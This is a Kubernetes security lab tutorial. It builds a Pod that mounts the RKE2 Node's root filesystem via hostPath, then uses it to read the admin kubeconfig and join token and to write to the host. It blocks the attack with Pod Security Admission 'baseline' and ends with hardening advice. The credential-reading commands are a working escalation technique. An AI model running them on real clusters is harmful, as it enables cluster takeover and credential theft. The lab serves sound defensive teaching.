Skip to content
Hands-on IT IT Drills

Day 6: hostPath – Escape with No “privileged” at All

Goal: You read the admin kubeconfig off the Node via a hostPath volume – and stop it with “baseline” already. · Duration: approx. 60 min · Prerequisite: Day 5

Briefing

Yesterday you needed privileged. Today a volume is enough. A hostPath volume mounts a directory of the Node into the Pod – with path: / the whole Node filesystem. No privileged, no host namespaces, nothing conspicuous. And yet afterwards the cluster’s credentials lie exposed. The good news: the middle PSA profile baseline already helps against this – but only if one is active at all.

Drill 1: The Misconfiguration – the Node Filesystem in the Pod

An inconspicuous Pod, pinned to the server Node, with the Node root under /host:

kubectl create namespace hostpath

kubectl -n hostpath apply -f - <<'EOF'
apiVersion: v1
kind: Pod
metadata: {name: hp, namespace: hostpath}
spec:
  nodeName: rke2-server
  containers:
  - name: c
    image: nicolaka/netshoot
    command: ["sleep","infinity"]
    volumeMounts:
    - {name: host, mountPath: /host}
  volumes:
  - name: host
    hostPath: {path: /}
EOF
kubectl -n hostpath wait --for=condition=Ready pod/hp --timeout=90s

Why pin to the server? The most interesting files – the cluster kubeconfig, the join token – live on the control-plane Node. In reality an attacker simply tries every Node.

Save your progress? Sign up for free

Drill 2: Exploit – Reading the Crown Jewels

The admin kubeconfig of RKE2 lives on the server and is cluster-admin:

kubectl -n hostpath exec hp -- grep server: /host/etc/rancher/rke2/rke2.yaml

Expected:

    server: https://127.0.0.1:6443

With this file (certificates included), the attacker takes over the entire cluster. And the join token that lets you attach arbitrary Nodes:

kubectl -n hostpath exec hp -- head -c 60 /host/var/lib/rancher/rke2/server/token; echo

Expected (shortened):

K10d53ee89a89ab6fffa57e9168b09e14e8890d825fd5e9ef91a1cb34a3d

Writing works too – a hostPath with / is full Node access:

kubectl -n hostpath exec hp -- sh -c 'echo test > /host/tmp/attacker-was-here && \
  cat /host/tmp/attacker-was-here'

Expected:

test

Warning: From here all escalations are open: a cron job on the host, a tampered kubelet, reading all Pod Secrets of this Node. hostPath: / is game over – entirely without privileged.

Save your progress? Sign up for free

Drill 3: Fix – Turn On PSA “baseline”

hostPath volumes are among the things the middle profile baseline already forbids. You don’t even need restricted:

kubectl label namespace hostpath \
  pod-security.kubernetes.io/enforce=baseline --overwrite

Expected (a warning about the running Pod is normal):

Warning: existing pods in namespace "hostpath" violate the new PodSecurity enforce level
Warning: hp: hostPath volumes
namespace/hostpath labeled

Save your progress? Sign up for free

Drill 4: Proof – the hostPath Pod Is Rejected

kubectl -n hostpath delete pod hp
kubectl -n hostpath apply -f - <<'EOF'
apiVersion: v1
kind: Pod
metadata: {name: hp2, namespace: hostpath}
spec:
  nodeName: rke2-server
  containers:
  - name: c
    image: nicolaka/netshoot
    command: ["sleep","infinity"]
    volumeMounts: [{name: host, mountPath: /host}]
  volumes: [{name: host, hostPath: {path: /}}]
EOF

Expected:

Error from server (Forbidden): error when creating "STDIN": pods "hp2" is forbidden:
violates PodSecurity "baseline:latest": hostPath volumes (volume "host")

Remove the trace and the lab:

kubectl -n hostpath exec hp -- rm -f /host/tmp/attacker-was-here 2>/dev/null || true
kubectl delete namespace hostpath

Save your progress? Sign up for free

Checkpoint

A fresh namespace with baseline rejects hostPath:

kubectl create namespace hp-test
kubectl label namespace hp-test pod-security.kubernetes.io/enforce=baseline
kubectl -n hp-test apply -f - <<'EOF' 2>&1 | grep -o "hostPath volumes.*"
apiVersion: v1
kind: Pod
metadata: {name: x, namespace: hp-test}
spec:
  containers: [{name: c, image: nicolaka/netshoot, command: ["sleep","infinity"],
    volumeMounts: [{name: h, mountPath: /host}]}]
  volumes: [{name: h, hostPath: {path: /}}]
EOF
kubectl delete namespace hp-test

Expected: hostPath volumes (volume "h")

Challenge

A cluster entirely without a PSA label on a namespace: which enforce level applies there? Check whether a hostPath Pod goes through in a bare namespace – that is the as-delivered state in which most self-built clusters run.

Hint: Without a label and without a cluster-wide default, the level privileged applies – that is, “everything allowed”.

Solution

kubectl create namespace nolabel
kubectl -n nolabel apply -f - <<'EOF'
apiVersion: v1
kind: Pod
metadata: {name: x, namespace: nolabel}
spec:
  containers: [{name: c, image: nicolaka/netshoot, command: ["sleep","infinity"],
    volumeMounts: [{name: h, mountPath: /host}]}]
  volumes: [{name: h, hostPath: {path: /}}]
EOF
kubectl -n nolabel get pod x
kubectl delete namespace nolabel

Expected: the Pod runs (Running). Without a PSA default, every new namespace is open – the most important reason to set PSA cluster-wide as the default, not namespace by namespace.

Save your progress? Sign up for free

Enterprise Note

  • PSA cluster-wide via AdmissionConfiguration to at least baseline as the default – otherwise every newly created namespace protects nothing.
  • hostPath only for a few system workloads (CSI, logging agents) and then read-only and restricted to a specific directory, never /.
  • Harden Node files: restrict access to rke2.yaml, server/token and the TLS directories strictly to root; don’t make Nodes reachable from the corporate network.
  • For read-only paths and allowed volume types add Kyverno as well (Day 12).